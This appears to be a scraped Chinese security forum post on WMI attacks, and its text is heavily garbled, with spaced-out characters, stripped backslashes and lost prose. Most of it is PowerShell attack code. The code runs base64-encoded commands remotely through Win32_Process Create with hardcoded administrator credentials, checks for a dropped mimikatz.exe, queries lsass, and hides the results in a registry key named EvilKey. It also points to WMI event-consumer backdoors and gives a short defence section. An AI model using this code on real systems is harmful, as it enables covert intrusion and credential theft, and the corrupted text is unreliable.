a d = [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ T e x t . E n c o d i n g ]   : : U n i c o d e . G e t B y t e s ( $ P a y l o a d T e x t ) ) $ P o w e r S h e l l P a y l o a d = p o w e r s h e l l   - N o P r o f i l e   - E n c o d e d C o m m a n d $ E n c o d e d P a y l o a d #   D r o p   t h e   f i l e   t o   t h e   t a r g e t   f i l e s y s t e m I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s W i n 3 2 _ P r o c e s s - N a m e   C r e a t e   - A r g u m e n t L i s t   $ P o w e r S h e l l P a y l o a d #   C o n f i r m   s u c c e s s f u l   f i l e   d r o p G e t - W m i O b j e c t   @ C o m m o n A r g s   - C l a s s   C I M _ D a t a F i l e   - F i l t e r N a m e   =   C : U s e r s A d m i n i s t r a t o r m i m i k a t z . e x e # 使 P o w e r s h e l l $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d $ C o m m o n A r g s   =   @ { C r e d e n t i a l   =         $ C r e d e n t i a l         C o m p u t e r N a m e   =   ' 1 9 2 . 1 6 8 . 3 . 1 4 2 ' } $ H K L M   =   2 1 4 7 4 8 3 6 5 0 # H K E Y _ L O C A L _ M A C H I N E   =   2 1 4 7 4 8 3 6 5 0 0 x 8 0 0 0 0 0 0 2 I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s   S t d R e g P r o v   - N a m e   C r e a t e K e y   - A r g u m e n t L i s t   $ H K L M , ' S O F T W A R E E v i l K e y ' I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s   S t d R e g P r o v   - N a m e   D e l e t e V a l u e   - A r g u m e n t L i s t   $ H K L M , ' S O F T W A R E E v i l K e y ' , ' R e s u l t ' # R e s u l t
W M I   A t t a c k s     S t e a l t h y   C o m m a n d   P u s h   p o w e r s h e l l c m d E L K s y s m o n C o m m a n d - l i n e E v e n t C o n s u m e r 使 C o m m a n d L i n e E v e n t C o n s u m e r 使   A c t i v e S c r i p t E v e n t C o n s u m e r , 使   V B S c r i p t W M I 宿 P P T W M I       ` C o m m a n d L i n e   V B S c r i p t M S F   E v e n t   f i l t e r   e x a m p l e :   _ _ I n t e r v a l T i m e r I n s t r u c t i o n E v e n t   c o n s u m e r     A c t i v e S c r i p t E v e n t C o n s u m e r E v e n t   F i l t e r T o C o n s u m e r B i n d i n g P a y l o a d   W M I   3 p a y l o a d W M I   宿 W M I   P r o v i d e r s W M I   P r o v i d e r s   ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / w m i s d k / d e v e l o p i n g - a - w m i - p r o v i d e r ) M S D N   W M I   P r o v i d e r s     W M I   P r o v i d e r s )   W M I   P r o v i d e r s   p a y l o a d E v i l W M I P r o v i d e r 4 0 4 ( h t t p s : / / g i t h u b . c o m / s u b T e e / E v i l W M I P r o v i d e r ) E v i l N e t C o n n e c t i o n W M I P r o v i d e r 5 ) ( h t t p s : / / g i t h u b . c o m / j a r e d c a t k i n s o n / E v i l N e t C o n n e c t i o n W M I P r o v i d e r )   W M I   P r o v i d e r s G e t - W m i P r o v i d e r . p s 1 ( h t t p s : / / g i s t . g i t h u b . c o m / m a t t i f e s t a t i o n / 2 7 2 7 b 6 2 7 4 e 4 0 2 4 f d 2 4 8 1 ) P o C   W M I   B a c k d o o r W M I   B a c k d o o r   A t t a c k   D e f e n s e   a n d   M i t i g a t i o n s T a l e s   o f   a   T h r e a t   H u n t e r   2 ( h t t p s : / / w w w . e i d e o n . c o m / 2 0 1 8 - 0 3 - 0 2 - T H L 0 3 - W M I B a c k d o o r s / )   P o w e r s h e l l F i l t e r c o n s u m e r   F i l t e r T o C o n s u m e r B i n d i n g A u t o r u n s G U I   W M I A u t o r u n s 姿 ( h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / n e t w o r k / 1 6 4 2 5 2 . h t m l ) / W M I     W M I   P r o v i d e r s   使   G e t - W m i O b j e c t   - C l a s s   * _ _ * e v e n t *   - l i s t   W M I     W M I   W M I W M I     W i n R M D C O M 3 使 s y s m o n   $ P a y l o a d T e x t   =   @ ' $ P a y l o a d   =   { G e t - P r o c e s s   l s a s s } $ R e s u l t   =   &   $ P a y l o a d $ O u t p u t   =   [ M a n a g e m e n t . A u t o m a t i o n . P S S e r i a l i z e r ] : : S e r i a l i z e ( $ R e s u l t ,   5 ) # M S D N $ E n c o d e d   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ O u t p u t ) )   S e t - I t e m P r o p e r t y   - P a t h   H K L M : S O F T W A R E E v i l K e y   - N a m e   R e s u l t   - V a l u e   $ E n c o d e d ' @ $ E n c o d e d P a y l o a d   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ P a y l o a d T e x t ) ) # B a s e 6 4 $ P o w e r S h e l l P a y l o a d   =   " p o w e r s h e l l   - N o P r o f i l e   - E n c o d e d C o m m a n d   $ E n c o d e d P a y l o a d "   I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t   $ P o w e r S h e l l P a y l o a d $ R e m o t e O u t p u t   =   I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s   S t d R e g P r o v   - N a m e   G e t S t r i n g V a l u e   - A r g u m e n t L i s t   $ H K L M , ' S O F T W A R E E v i l K e y ' , ' R e s u l t ' $ E n c o d e d O u t p u t   =   $ R e m o t e O u t p u t . s V a l u e $ D e s e r i a l i z e d O u t p u t   =   [ M a n a g e m e n t . A u t o m a t i o n . P S S e r i a l i z e r ] : : D e s e r i a l i z e ( [ T e x t . E n c o d i n g ] : : A s c i i . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ E n c o d e d O u t p u t ) ) ) # $ E n c o d e d O u t p u t   % S y s t e m R o o t % s y s t e m 3 2 w b e m s c r c o n s . e x e   - E m b e d d i n g
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则